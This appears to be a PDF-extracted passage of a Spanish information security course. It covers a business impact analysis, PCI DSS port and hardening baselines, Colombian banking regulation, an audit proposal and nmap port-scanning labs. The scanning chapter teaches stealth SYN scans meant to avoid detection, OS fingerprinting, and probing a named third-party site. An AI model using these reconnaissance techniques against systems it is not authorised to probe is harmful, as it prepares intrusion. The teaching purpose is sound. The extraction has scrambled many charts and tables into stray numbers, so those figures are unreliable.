Instrucciones financieras
Adquisicion de inversiones
y capitales
Registros contables
Facturacion
N/A
$150,000 / Dia, $4.5
millones mensuales
Ninguno
Flujo de trabajo
Reputacion de la compania
Renunia de empleados
Otro
Medio
Servicio al cliente
Valor de la accion en bolsa de valores /
Market Share
Bajo
66
Alto
1
2
3
4
5
6
7
Ninguno
Bajo
Medio
Nomina e impuestos de
nomina
Pago a proveedores
Manejo de presupuestos
Instrucciones financieras
Costos y comisiones
$350,000 / Caso /
comisiones
$25,000 por contrato
N/A
N/A
Adquisicion de inversiones
y capitales
Registros contables
Facturacion
Alto
El estado crtico de de la contabilidad puede durar en promedio hasta 6 das antes de tener un
impacto importante en la organizacion GPS de Colombia .
Hay reportes contables que pueden ser extremadamente vulnerables en una interrupcin del
negocio especficamente en las cuentas por pagar a proveedores y la nomina de empleados.
Existen reportes contables que pueden ser excepcionalmente difciles de implementar manualmente
para el pago de nomina.
La generacin de cheques manuales pueden ser producidos pero incrementan los gastos financieros
67
6 7
Dias
14 21 28 30
Impacto Operacional
Otros
0.5
1.5
2.5
68
3.5
Impacto legal/regulacion
Soporte tecnico
500,000
Almacen
68,750
Desarrollo
200,000
Recurso humano
Operaciones
1,500,000
25,000
Marketing
Contabilidad
25,000
105,000
325,000
625,000
925,000
1,225,000
1,525,000
69
346
330
342
342
320
338
310
300
290
312
334
334
334
334
309
280
270
260
250
1
14
21
28
70
Facilmente
Recuperable
18%
Muy dificil
recuperable
46%
Razonablemente
Recuperable
27%
Dificilmente
recuperable
9%
Todas las unidades de negocio
Facilmente
recuperable
Razonablemente
recuperable
Dificilmente
recuperable
Soporte tenico
Contabilidad
Seguridad
Materiales Boards
Marketing
Muy difcil
Recuperable
Operaciones
Laboratorios
Recursos Humanos
Almacn
Desarrollo
Propuesta de solucin
Se recomienda un Hot Site: Dado que las fuerzas armadas estarn consultando el portal web para saber
en cada momento donde est la flota armada, la organizacion GPS de Colombia debe tener un centro de
computo paralelo en otra ciudad, de tal forma que un dato grabado en los servidores Windows 2000 del
centro de computo local debe sincronizarse de forma inmediata con el centro de computo paralelo.
Cuando ocurra una catstrofe en mximo un da el sistema paralelo tendr la informacin al da para ser
consultada y actualizada.
Esta estrategia es desde el punto de vista de la seguridad, la mejor de todas porque minimiza el tiempo de
inactividad de un proceso, pero a su vez, es la que requiere una mayor inversin, porque comporta disponer
de todos los equipos comprados actualizados y configurados para poder utilizarlos de forma automtica o en
pocas horas. Tambin necesitar disponer de personal con conocimientos y documentacin ajustada y que
refleje la situacin real de la organizacin.
Por su elevado coste, esta estrategia est destinada a procesos muy crticos como operaciones que no
pueden estar inactivos mucho tiempo, por lo que, generalmente, no se puede realizar el volcado de la
informacin en el momento de la contingencia: un hot site requiere estar continuamente sincronizado.
71
Conclusiones Finales
La principal preocupacin es el alto nivel de impacto financiero en los ingresos y la no muy buena atencin
que se les pueda dar a los clientes claves como las fuerzas armadas que impactan muy fuertemente los
ingresos de la organizacin.
Debido a la deficiencia en alta disponibilidad o infraestructura redundante el grupo del proyecto BIA hace las
siguientes recomendaciones para la organizacin GPS de Colombia:
Recomendaciones mandatorias
Recursos
1 de cada
departamento
2 semanas
2 a 3 personas
4 semanas
3 meses
3 meses
2 meses
7.3.
Bibliografa
Maestra en seguridad informtica UOC, ing. Daniel Cruz Allende, www.uoc.edu, 2008, Espaa
ISO www.iso.org
Compendio, Sistema de gestin de la seguridad de la informaci (SGSI), Icontec, 2006, ISBN 978958-9383-69-8
Conferencia en ACIS dictada por M&M auditores de Colombia LTDA,
http://www.acis.org.co/fileadmin/Conferencias/ConferenciaBCP.pdf
www.drii.org orientada a la recuperacin de desastres.
www.thebci.org orientada al BCM o administracin de la continuidad del negocio.
72
73
Recomendaciones:
8.2.
Prctica: Diseo de una lnea base de puertos abiertos para anlisis de vulnerabilidades
Problemtica a resolver:
La empresa ficticia Cooperativa de Crdito Credifcil debe cumplir con la norma PCI DSS 1.2 dado
que acepta pagos de sus afiliados por medio de tarjetas dbito y crdito en todas sus oficinas
Especificamente desea construir una lnea base por cada sistema operativo para que luego cuando
se haga el anlisis de vulnerabilidades se puedan confrontar los puertos abiertos de la lnea base
con los puertos abiertos de la exploracin de vulnerabilidades
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar dos documentos en formato Word con la
propuesta de la lnea base para dos tipos de sistemas operativos
Objetivo de la prtica:
Generar una plantilla de cmo hacer una lne base de confrontacin de puertos abiertos
Generar una lnea base de puertos abiertos y sustentarla para un servidor Linux
Generar una lnea base de puertos abiertos y sustentarla para un servidor Windows
El alumno debe diligenciar cada campo que no este relleno como por ejemplo en autores, se debe
escribir el nombre del alumno. El IP de cada servidor aparece en blanco para que alumno lo
diligencie para el ejemplo simulado
Desarrollo de la plantilla:
Titulo: Lnea base de puertos abiertos en servidores crticos del negocio
Empresa: Cooperativa de Crdito Credifcil
Autores:
Revisiones de este documento
Versin
Capitulo,
seccion, Pagina
Revisado por
Fecha
Definicin: Una lnea base es un concepto de gestin de la configuracin del SW que lleva a controlar los
cambios sin impedir seriamente los cambios justificados. El Instituto de Ingenieros Elctricos y Electrnicos
(IEEE) 610.12/1990 define una lnea base como:
Una especificacin o producto que se ha revisado formalmente y sobre los que se ha llegado a un
acuerdo, y que de ah en adelante sirve como base para un desarrollo posterior y que puede
cambiarse solamente a travs de procedimientos formales de control de cambios.
La siguiente lista de puertos para cada IP propone una lnea base para auditar contra cada anlisis
de vulnerabilidades que se requiera en el futuro para cumplir PCI o cualquier otro estndar de
seguridad informtica:
74
IP Elemento Activo de
Red
Sistema operativo:
Nombre:
Mac Address:
IP=
Servidor de
(Windows)
IP=
IP=
correo
Lotus
Domino
Sistema operativo:
Servidor web:
Nombre:
Mac Address:
Grupo de trabajo:
Sistema operativo:
Servidor web:
IP=
75
IP=
53/udp DNS.
53/tcp DNS.
88 kerberos autenticacion de
usuarios Kerberos.
135/tcp epmap Microsoft RPC.
137/udp resolucin de nombres
netbios.
139/tcp Netbios sesiones de
usuarios
para
compartir
impresoras y archivos.
389/tcp LDAP para Microsoft
AD.
445/tcp
Microsoft-DS
para
compartir
archivos
e
impresoras.
464/tcp
kpasswd
Kerberos
passwords.
593/tcp http-rpc-epmap.
636/tcp ldaps LDAP Seguro de
Microsoft Active Directory.
1026/tcp cap DCE/RPC.
Sistema operativo:
Servidor web:
Nombre:
Mac Address:
Grupo de trabajo:
IP=
Sistema operativo:
Servidor web:
Nombre:
Mac Address:
Grupo de trabajo:
IP=
Sistema operativo:
Servidor web:
Nombre:
Mac Address:
IP=
IP=
VMWare
ESXI (Linux)
Sistema operativo:
Servidor web:
Nombre:
Mac Address:
1027/tcp
exosee
COM+
Internet Services (CIS).
1055/tcp ansyslmd DCE/RPC.
1103/tcp adobeserver-2.
1105/tcp ftranhc DCE/RPC.
1282/tcp emperion.
1680/tcp microcom-sbp.
1957/tcp unix-status.
3389/tcp RDP terminal server
para escritorio remoto.
3269/tcp msft-gc-ssl.
3268/tcp msft-gc.
43189/tcp ndm-agent-port.
No se deben permitir usuarios
annimos.
No se deben permitir sesiones
nulas.
No
debe
responder
a
requerimientos de ping o ICMP
Request para evitar el ataque
de ping de la muerte.
No deben estar abiertos los
puertos:
1720/tcp h323hostcall.
1863/tcp msnp.
IP=
Sistema operativo:
Servidor web:
Nombre:
Mac Address:
76
sesiones
Cuestionamientos:
Que requerimientos mediante numerales de la norma se deben cumplir con esta plantilla de lnea base para
puertos abiertos?
Debera cumplirlo si no cuentan con redes de datos de datafonos, solamente se conectan va lnea telefnica
por medio de los datafonos?
8.3.
Problemtica a resolver:
La empresa ficticia Cooperativa de Crdito Credifcil debe cumplir con la norma PCI DSS 1.2 dado
que acepta pagos de sus afiliados por medio de tarjetas dbito y crdito en todas sus oficinas
Especificamente se desea construir una lnea base por cada sistema operativo para que al
configurar un nuevo servidor se tengan en cuenta las configuracin bsicas y de seguridad mnimas
requeridas
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar dos documentos en formato Word con la
propuesta de la lnea base para dos tipos de sistemas operativos
Objetivo de la prtica:
Generar una plantilla de cmo hacer una lnea base de configuracin de sistemas operativos
Generar una lnea base de configuracin para un servidor Linux
Generar una lnea base de configuracin para un servidor Windows
Desarrollo de la plantilla:
Titulo: Lnea base de configuracin para servidores Linux
Empresa: Cooperativa de Crdito Credifcil
Autores:
Revisiones de este documento
Versin
Capitulo,
seccion, Pagina
Revisado por
Fecha
Definicin: Una lnea base es un concepto de gestin de la configuracin que lleva a controlar los cambios
sin impedir cambios justificados.
Objetivo: El objetivo de este documento es disminuir el riesgo en seguridad informtica debido a fallas de
instalacin y configuracin es por ello que la siguiente lista de chequeo propone una lnea base para auditar
el cumplimiento de la norma PCI versin 1.2, ISO 27002:2005 o cualquier otro estndar de seguridad
informtica.
77
Punto de chequeo
Implementacin de controles
Justificacin
1.
Revisin de Logs
destination loghost
{udp("192.168.100.222 port(514));};
log { source(src);
destination(loghost); };
Ahora este servidor linux mandar
los logs a otro servidor de logs en
la red y quedaran centralizados en
192.168.100.222.
Ms informacin en:
http://freshmeat.net/projects/sy
slog-ng/
2.
3.
Si el sistema de archivos
ha consumido ms del
70% pronto se volver
lento y la posibilidad de
colapso del sistema ser
inminente
Se deben borrar los
archivos / ficheros
innecesarios que genera el
sistema en su
procesamiento o carga
normal de trabajo
4.
78
Desactivar servicios
inseguros como snmp,
xwindows y nfs
Desactivar servicios no
usados como la ejecucin
de comandos remotos,
servicios como echo,
finger, chargen, time,
pop3, etc
La opcin p le mostrara el
proceso que es responsable
del servicio o puerto que desea
cerrar
Anlisis de vulnerabilidades
Hacer un reporte de
vulnerabilidades donde s
incluya el cmo dar
solucin a cada
vulnerabilidad una vez
instalado el sistema
operativo y repetirlo con
alguna frecuencia para
gestionar las
vulnerabilidades.
Actualizacin de suplementos
79
7.
8.
9.
Ms informacin en:
http://www.tin.org/bin/man.cgi?secti
on=5&topic=login.defs
La sintaxis es:
Minutos
Horas
Dia_del_mes
Mes
Dia_de_la_semana
Comando
80
/etc/passwd
/etc/shadow
/etc/group
/etc/sysctl.conf
/etc/inetd.conf
/etc/xinet.d
/etc/profile
/.profile
/etc/cups
/etc/samba
Cuestionamientos:
Que requerimientos mediante numerales de la norma se deben cumplir con esta plantilla de lnea base para
configurar sistemas operativos?
Debera cumplirlo si no cuentan con centros de computos locales?, todos los servidores AS400, Linux y
Windows estn en un centro de computo en hosting (remoto) y no son de propiedad de la empresa auditada.
8.4.
Bibliografa
[1]. PCI DSS Requirements and security Assessment Procedures, versin 1.2 de fecha octubre 3 de 2008,
pgina 3. URL
http://www.scippinternational.org/SCIPP_InternationalSecureWebApplicationTraining__files/PCI_DSS_6.5.pd
f
[2]. Normas de Seguridad de Datos de la Industria de Tarjetas de Pago (PCI DSS), Exploracin de
PCI DSS, https://www.pcisecuritystandards.org/pdfs/spanish_navigating_pci_dss_v1-1.pdf
[3].
The
Prioritized
Approach
to
Pursue
PCI
DSS
https://www.pcisecuritystandards.org/education/docs/Prioritized_Approach_PCI_DSS_1_2.pdf
81
Compliance,
9.1 Ejemplo de requerimientos emitidos por una entidad de control: Circular 052 SFC
La Superintendencia Financiera de Colombia expidi la Circular Externa 052 de 2007, la cual incrementa los
estndares de seguridad y calidad para el manejo de la informacin a travs de medios y canales de
distribucin de productos y servicios que ofrecen a sus clientes y usuarios las entidades vigiladas por esta
Entidad.
mbito de aplicacin
Las instrucciones impartidas debern ser adoptadas por todas las entidades sometidas a la inspeccin y
vigilancia de la SFC, con excepcin de las indicadas en el numeral primero de la mencionada Circular.
Los Canales a los que hace referencia los requerimientos de la circular son: Oficinas, Cajeros Automticos
(ATM), Receptores de cheques, Receptores de dinero en efectivo, POS (incluye PIN Pad), Sistemas de Audio,
Respuesta (IVR), Centro de atencin telefnica (Call Center, Contact Center), Sistemas de acceso remoto
para clientes (RAS), Internet y Dispositivos mviles; y los Medios son: tarjetas dbito y crdito.
3.4.8
4.4
4.4.1
4.5
4.5.5
4.5.6
4.6
4.6.1
4.9
4.9.3
Divulgacin de informacin
Establecer las condiciones bajo las cuales los clientes podrn ser informados en lnea acerca de las
operaciones realizadas con sus productos.
Informar y capacitar a los clientes acerca de las medidas de seguridad que debern tener en cuenta
para la realizacin de operaciones por cada canal, as como los procedimientos para el bloqueo,
inactivacin, reactivacin y cancelacin de los productos y servicios ofrecidos.
Entregar constancia, dentro del procedimiento de cancelacin solicitado por el cliente, de un
producto, en la que se advierta encontrarse a paz y salvo por todo concepto, asegurndose que los
futuros reportes a las centrales de riesgo sean consistentes con su estado de cuenta. Tratndose de
tarjetas de crdito dicha constancia deber entregarse al cliente en un tiempo mximo de cuarenta y
cinco (45) das, contados a partir de la fecha de solicitud de la cancelacin.
Receptores de Dinero en Efectivo
Contar con mecanismos que verifiquen la autenticidad y denominacin de los billetes.
POS (incluye PIN Pad)
Velar porque la informacin confidencial de los clientes y usuarios no sea almacenada o retenida en el
lugar en donde los POS estn siendo utilizados.
Contar con mecanismos que reduzcan la posibilidad de que terceros puedan ver la clave digitada por
el cliente o usuario.
Sistemas de Audio Respuesta (IVR)
Permitir al cliente confirmar la informacin suministrada en la realizacin de la transaccin.
Internet
Promover y poner a disposicin de sus clientes mecanismos que reduzcan la posibilidad de que la
informacin de sus transacciones pueda ser capturada por terceros no autorizados durante cada
82
6.
6.7
6.9
sesin.
Obligaciones Especficas por Tipo de Medio Tarjetas dbito y crdito
Ofrecer a sus clientes mecanismos que brinden la posibilidad inmediata de cambiar la clave de la
tarjeta dbito en el momento que estos lo consideren necesario.
Emitir tarjetas personalizadas que contengan al menos la siguiente informacin: nombre del cliente,
indicacin de si es crdito o dbito, nombre de la entidad emisora, fecha de expiracin, espacio para
la firma del cliente y nmero telefnico de atencin al cliente.
3.1.13
3.4
3.4.2
4.3
4.3.1
4.1
4.1.3
4.2
4.2.1
6.
6.6
6.11
83
9.2.
Problemtica a resolver:
9.3.
La empresa ficticia Cooperativa de Crdito Credifcil debe cumplir con la norma ISO 27001 y la
norma local SFC 052, dado que acepta pagos de sus afiliados por medio de tarjetas dbito y crdito
debe cumplir por ley la circular 052
Especificamente se desea construir una matrz que muestre las coincidencias entre las dos normas
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar un documento en formato Word con la
matrz que compare las dos normas
Tipo de
documento:
Clase de
servicio:
Fecha de
creacin:
Abril 18 de 2009
Versin:
1.0.0
Base de
requerimientos:
Notas:
84
Enfoque elegido:
Se recomienda hacer la auditoria tcnica en dos partes y ests tienen que ver con el ciclo de vida de
desarrollo del software SDLC as como los mecanismos de control de acceso a la informacin:
Parte I: Revisin de los mecanismos de control de acceso a la informacin
Parte II: Revisin de la gestin del ciclo de vida de los sistemas SDLC
Justificacin: No solo es crtica la revisin de los controles de acceso, se debe tener ms cuidado para este
caso en especial el desarrollo de software en casa respecto de las actividades criticas del negocio, estas
actividades diarias hacen que las organizaciones olviden implementar y revisar las diversas fases que
componen el ciclo de vida del desarrollo del sistema SDLC (System Development Life Cycle). Estos olvidos
generan la mayora de incidentes informticos de nuestros tiempos.
Recoleccin de informacin previa: recopila los requisitos del negocio y los riesgos asociados.
Leyes y regulaciones que afecten la problemtica en estudio.
Identificacin de cargos y roles para la seleccionar los funcionarios a entrevistar.
Se revisa la documentacin como polticas y procedimientos, se estudian los anlisis de
vulnerabilidades, se revisan las medidas de control o salvaguardas establecidas.
85
Resumen ejecutivo: Se entrega un resumen ejecutivo que muestra las fortalezas as como las
debilidades o fallos encontrados
Metodologa empleada: Muestra los criterios y el modo en que se realizo la auditoria. Se detallan
pruebas, entrevistas, herramientas y plazos
Listado detallado de de los hallazgos: Muestra los hallazgos clasificados por niveles para que el
auditado haga seguimiento de las mejoras propuestas
Anexos: Muestra los informes de las herramientas utilizadas, listas de chequeos y actas de
reuniones realizadas.
Tareas:
Justificacin: Es clave que se hagan estas revisiones, si la organizacin olvido alguno de estos punto
anteriores entonces est en riesgo la informacin que esos sistemas van a tratar as como el valor que
aportaran a la organizacin.
Se deben revisar los controles propuestos por la norma para ver si estn implementados y si estos
son idneos
Revisar el inventario de programas
Documentos de diseos del sistema evaluado
Procedimientos operativos de instalacin
Procedimientos operativos de autenticacin
2) Realizacin de entrevistas:
86
Fase I: Definicin del plan de auditora. Una vez aprobado por parte del
auditado el alcance propuesto en este documento se realizaran las
siguientes acciones:
Una semana
Cuatro Semanas
Una semana
1 da
Valor de la inversin:
US$30.000
50% a la firma del contrato y el restante 50% contra la firma del acta de entrega a satisfaccin.
87
PARTE II
INSEGURIDAD EN LA RED
88
Captulo 2
Exploracion de puertos de red
Objetivos:
Conocer como es el trfico de red que ocurre entre un usuario que requiere servicios y un servidor
de red que presta servicios en red
Prcticar en laboratorios las tcnicas ms conocidas de ataques como son: Syn Flood, Tcp Scan, Fin
Scan, Null Scan y rbol de navidad (Xmas tree scan)
1.0
Exploracin de puertos
La exploracin de puertos es una de las primeras etapas que el atacante elabora dentro del plan de ataque
para investigar o enumerar cuales servicios tienen la vctima activados.
Existen muchas herramientas para hacer exploracin de puertos pero en este documento solo se abordara la
ms utilizada y conocida en el entorno acadmico: nmap.
Nmap ha sido diseado para permitir a administradores de sistemas y gente curiosa en general el escaneo
de grandes redes para determinar que servidores se encuentran activos y que servicios ofrecen.
89
Nmap
2.0
Sintaxis de la herramienta
90
Puerto origen (16 bits). Puerto de la mquina origen. Al igual que el puerto destino es necesario
para identificar la conexin actual.
Nmero de secuencia (32 bits). Indica el nmero de secuencia del primer byte que trasporta el
segmento.
Nmero de acuse de recibo (32 bits). Indica el nmero de secuencia del siguiente byte que se
espera recibir. Con este campo se indica al otro extremo de la conexin que los bytes anteriores se
han recibido correctamente.
Posicin de los datos (4 bits). Longitud de la cabecera medida en mltiplos de 32 bits (4 bytes).
El valor mnimo de este campo es 5, que corresponde a un segmento sin datos (20 bytes).
Reservado (6 bits). Bits reservados para un posible uso futuro.
Bits de cdigo o indicadores (6 bits). Los bits de cdigo determinan el propsito y contenido del
segmento. A continuacin se explica el significado de cada uno de estos bits (mostrados de
izquierda a derecha) si est a 1:
91
Ventana (16 bits). Nmero de bytes que el emisor del segmento est dispuesto a aceptar por parte
del
destino.
Suma de verificacin (24 bits). Suma de comprobacin de errores del segmento actual. Para su
clculo se utiliza una pseudo-cabecera que tambin incluye las direcciones IP origen y destino.
Puntero de urgencia (8 bits). Se utiliza cuando se estn enviando datos urgentes que tienen
preferencia sobre todos los dems e indica el siguiente byte del campo Datos que sigue a los datos
urgentes. Esto le permite al destino identificar donde terminan los datos urgentes. Ntese que un
mismo segmento puede contener tanto datos urgentes (al principio) como normales (despus de los
urgentes).
Opciones (variable). Si est presente nicamente se define una opcin: el tamao mximo de
segmento que ser aceptado.
3.0
3.1
Es
92
3.2
93
3.3
94
3.4
A veces nicamente se necesita saber que servidores en una red se encuentran activos. Nmap puede hacer
esto enviando peticiones de respuesta ICMP a cada direccin IP de la red que se especifica. Aquellos
servidores que responden se encuentran activos. Desafortunadamente, algunos sitios web como
microsoft.com bloquean este tipo de paquetes. Nmap puede enviar tambin un paquete TCP ack al puerto 80
(por defecto), si se obtiene por respuesta un RST, esa maquina esta activa. Una tercera tcnica implica el
envi de un paquete SYN y la espera de de un RST o un SYN/ACK. Para usuarios no root se usa un metodo
connect(). Por defecto (para usuarios no root), nmap usa las tcnicas ICMP y ACK en paralelo. Se puede
cambiar la opcin -p descrita mas adelante. Ntese que el envi de ping se realiza por defecto de todas
maneras y que solamente se escanean aquellos servidores de los que se obtiene respuesta. Use esta opcin
solamente en el caso de que desee un ping sweep (barrido ping) sin hacer ningn tipo de escaneo de
puertos.
3.5
Este mtodo se usa para saber que puertos UDP (Protocolo de Datagrama de Usuario, RFC 768) estn
abiertos en un servidor. La tcnica consiste en enviar paquetes UCP de 0 bytes a cada puerto de la maquina
objetivo. Si se recibe un mensaje ICMP de puerto no alcanzable, entonces el puerto esta cerrado. De lo
contrario, asumimos que esta abierto. Alguna gente piensa que el escaneo UDP no tiene sentido. Se
recuerda el reciente agujero en Solaris rpcbind. Puede encontrarse a rpcbind escondido en un puerto UDP no
documentado en algn lugar por encima del puerto 32770.
Por lo tanto, no importa que el puerto 111 este bloqueado por el firewall. Pero, quien puede decir en cual de
los mas de 30000 puertos altos se encuentra a la escucha el programa? Con un escner UDP se podra!
Existe el programa de puerta trasera cDc Back Orifice que se oculta en un puerto UDP configurable en las
maquinas Windows, por no mencionar los muchos servicios frecuentemente vulnerables que usan UDP como
snmp, tftp, NFS, etc.
Por desgracia, el escaneo UDP resulta a veces tremendamente lento debido a que la mayora de los
servidores implementan una sugerencia recogida en el RFC 1812 acerca de la limitacin de la frecuencia de
mensajes de error ICMP.
Por ejemplo, el kernel de Linux (ipv4/icmp.h) limita la generacin de mensajes de destino inalcanzable a 80
mensajes cada cuatro segundos, con una penalizacin de 1/4 de segundo si se rebasa dicha cantidad. Solaris
tiene unos limites mucho mas estrictos (mas o menos 2 mensajes por segundo) y por lo tanto lleva mas
tiempo hacerle un escaneo.
NMAP detecta este lmite de frecuencia y se ralentiza en consecuencia, en vez de desbordar la red con
paquetes intiles que la maquina destino ignorara.
Como de costumbre, Microsoft ignoro esta sugerencia del RFC y no parece que haya previsto ningn tipo de
limite de frecuencia para las maquinas Windows. Debido a esto resulta posible escanear los 65000 puertos
de una maquina Windows muy rpidamente.
3.6
Opciones Generales
No intenta hacer ping a un servidor antes de escanearlo. Esto permite el escaneo de redes que no
permiten que pasen peticiones (o respuestas) ICMP a travs de su firewall, microsoft.com es un
ejemplo de una red de este tipo y por lo tanto, debera usarse siempre -p0 o -PT80 al escanear
microsoft.com.
-PT
Usa el ping TCP para determinar que servidores estn activos. En vez de enviar paquetes de
peticin de ecos ICMP y esperar una respuesta, se lanzan paquetes TCP ACK a travs de la red de
destino (o a una sola maquina) y luego se espera a que lleguen las respuestas. Los servidores
activos responden con un RST. Esta opcin mantiene la eficiencia de explorar nicamente aquellos
servidores que se encuentran activos y la combina con la posibilidad de escanear redes/servidores
que bloquean los paquetes ping. Para los usuarios no root se usa connect(). Para establecer el
puerto de destino de los paquetes de prueba use -PT <numero de puerto). El puerto por defecto es
el 80, dado que normalmente este puerto no es un puerto filtrado.
95
-PS
Esta opcin usa paquetes SYN (peticin de conexin) en vez de los paquetes ACK para usuarios
root. Los servidores activos deberan responder con un RST (o, en raras ocasiones, un SYN|ACK).
-PI
Esta opcin usa un paquete ping (peticin de eco ICMP) verdadero. Encuentra servidores que estn
activos y tambin busca direcciones de broadcast dirigidas a subredes en una red. Se trata de
direcciones IP alcanzables desde el exterior que envan los paquetes IP entrantes a una subred de
servidores. Estas direcciones deberan eliminarse, si se encontrase alguna, dado que suponen un
riesgo elevado ante numerosos ataques de denegacin de servicio (el mas corriente es Smurf).
-PB
Este es el tipo de ping por defecto. Usa los barridos ACK ( -PT ) e ICMP ( -PI ) en paralelo. De este
modo se pueden alcanzar firewalls que filtren uno de los dos (pero no ambos).
-O
Esta opcin activa la deteccin remota del sistema operativo por medio de la huella TCP/IP. En otras
palabras, usa un puado de tcnicas para detectar sutilezas en la pila de red subyacente del
sistema operativo de los servidores que se escanean. Usa esta informacin para crear una 'huella'
que luego compara con una base de datos de huellas de sistemas operativos conocidas (el archivo
nmap-os-fingerprints) para decidir que tipo de sistema se esta escaneando. Si encuentra una
maquina diagnosticada errneamente que tenga por lo menos un puerto abierto, me seria de gran
utilidad que me enviase los detalles en un email (es decir, se encontr la versin xxx de tal cosa y
se detecto este u otro sistema operativo..). Si encuentra una maquina con al menos un puerto
abierto de la cual nmap le informe "sistema operativo desconocido", le estara agradecido si me
enviase la direccin IP junto con el nombre del sistema operativo y el numero de su versin. Si no
me puede enviar la direccin IP, una alternativa seria ejecutar nmap con la opcin -d y enviarme las
tres huellas que obtendra como resultado junto con el nombre del sistema operativo y el numero
de versin. Al hacer esto, esta contribuyendo a aumentar el numero importante de sistemas
operativos conocidos por nmap y de este modo el programa resultara mas exacto para todo el
mundo.
-v
Modo de informacin ampliada. Esta opcin resulta muy recomendable y proporciona gran cantidad
de informacin sobre lo que esta sucediendo. Puede usarla dos veces para un efecto mayor.
-p <rango de puertos>
Esta opcin determina los puertos que se quieren especificar. Por ejemplo, '-p 23' probara solo el
puerto 23 del servidor(es) objetivo. '-p 20-30, 139, 60000-' escanea los puertos del 20 al 30, el
puerto 139 y todos los puertos por encima de 60000. Por defecto se escanean todos los puertos
entre el 1 y el 1024 as como los que figuran en el archivo /etc/services.
3.7
Especificacin de servidores
Cualquier cosa que no es una opcin (o el argumento de una opcin) en nmap se trata como una
especificacin de servidor de destino. El caso mas simple consiste en especificar servidores aislados o
direcciones IP en la lnea de comandos. Si pretende escanear una subred de direcciones IP, entonces se
puede aadir '/mask' a la direccion IP o al nombre del servidor. mask debe estar entre 0 (escanea toda
Internet) y 32 (escanea nicamente el servidor especificado). Use /24 para escanear una direccin de clase
'C' y /16 para la clase 'B'. Nmap dispone tambin de una notacin mucho ms potente que permite la
especificacin de direcciones IP usando listas/rangos para cada elemento. De este modo, se puede escanear
la red de clase 'B' completa 128.210.*.* especificando '128.210.*.*' o '128.210.0-255.0-255' o incluso
notacin de mascara: '128.210.0.0/16'. Todas ellas son equivalentes. Si se usan asteriscos ('*'), ha de
tenerse en cuenta que la mayora de los shells requieren que se salga de ellos con caracteres / o que se les
proteja con comillas.
Otra posibilidad interesante consiste en dividir Internet en el otro sentido. En vez de escanear todos los
servidores en una clase 'B', se puede escanear '*.*.5.6-7' para escanear todas las direcciones IP terminadas
en .5.6 o .5.7 Escoja sus propios nmeros.
Para ms informacin sobre la especificacin de servidores a escanear, vase el comando:
# man nmap.
96
3.8
Ejemplos ms comunes
97
4.0
4.1
4.2
Objetivos:
Exploracin de puertos con nmap
Capturar y analizar el trfico que circula por un segmento ethernet
Prerrequisitos:
Se recomienda usar Linux knoppix-std (www.knoppix-std.org) o el Linux Backtrack (http://www.remoteexploit.org) debido al muy interesante conjunto de herramientas de seguridad que ya vienen agrupadas en
estas versiones de Linux.
4.3
4.3.1 Utilizando nmap realizar una exploracin de los puertos TCP de nuestra maquina, indicar el comando,
mostrar y comentar el resultado de la exploracin.
# nmap 127.0.0.1
Tambin podemos ejecutar el comando con localhost y v para que nos de un poco ms de detalles:
# nmap v localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-27 17:27 COT
Initiating SYN Stealth Scan against uoc.globalteksecurity.com (127.0.0.1) [1663 ports] at 17:34
The SYN Stealth Scan took 0.29s to scan 1663 total ports.
Host uoc.globalteksecurity.com (127.0.0.1) appears to be up good.
All 1663 scanned ports on uoc.globalteksecurity.com (127.0.0.1) are: closed
4.3.2 Inicie un servidor web en su maquina y repita el ejercicio anterior. Comente las (previsibles)
diferencias entre los dos resultados.
98
# /usr/sbin/apache2ctl start
Tambin podemos probar el servicio, si se hace un telnet localhost 80 y aparece lo siguiente indicando que
apache esta arriba:
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
HTTP/1.1 200 OK
Date: Tue, 28 Mar 2006 00: 24: 11 GMT
Server: Apache/2.0.54 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 288
Connection: close
Content-Type: text/html; charset=iso-8859-1
<H1></H1>
<P></P>
<address>Apache/2.0.54 (Fedora) server at uoc.globalteksecurity.com Port 80</address>
</BODY></HTML>
Connection closed by foreign host.
99
# nmap localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-27 20:18 COT
Interesting ports on uoc.globalteksecurity.com (127.0.0.1):
(The 1661 ports scanned but not shown below are in state: closed)
PORT
80/tcp
443/tcp
STATE
SERVICE
open
open
http
https
Cuando se vuelve a ejecutar el comando nmap, este realiza la exploracin silenciosa de los puertos y nos
muestra que al iniciar el servicio de apache se abrieron los puertos 80 y 443, en este caso nmap manda un
paquete SYN al puerto 80 y 443 y le mandan como respuesta un paquete SYN, ACK, rpidamente nmap
manda el paquete RST-ACK para no realizar la conexin y as no ser detectado. En el caso de esta prueba los
nicos puertos que estn ofreciendo servicio son los puertos orientados a conexin 80 y 443,
correspondientes a servicio web y webseguro. Los puertos restantes siguen cerrados.
# /etc/init.d/ssh start
100
# nmap localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-28 07:39 COT
Interesting ports on uoc.globalteksecurity.com (127.0.0.1):
(The 1660 ports scanned but not shown below are in state: closed)
PORT
STATE
SERVICE
22/tcp
open
ssh
80/tcp
open
http
443/tcp
open
https
Cuando se vuelve a ejecutar el comando nmap, este realiza una exploracin de puertos silenciosa y nos
muestra que ahora se encuentran abiertos los puertos 22, 80 y 443, nmap ha enviado paquetes SYN a los
puertos 22, 80 y 443 y recibe de vuelta paquetes SYN-ACK, luego nmap enva paquetes RST-ACK para no
establecer la conexin y as no ser detectado.
Conclusin: Se puede concluir que tenemos puertos abiertos y estn ofreciendo servicios, son los puertos de
conexin remota segura (ssh) por el puerto 22, el servicio web por el puerto 80 y el servicio de webseguro
por el puerto 443. Los dems puertos estn cerrados y por consiguiente no se puede acceder a otros
servicios.
101
5.0
5.1
5.2
Objetivos:
Exploracin de puertos con nmap
Evaluacin de diferentes tcnicas de nmap
Capturar y analizar el trfico que circula por un segmento ethernet
Prerrequisitos:
Se recomienda usar Linux knoppix-std (www.knoppix-std.org) o el Linux Backtrack (http://www.remoteexploit.org) debido al muy interesante conjunto de herramientas de seguridad que ya vienen agrupadas en
estas versiones de Linux.
5.3
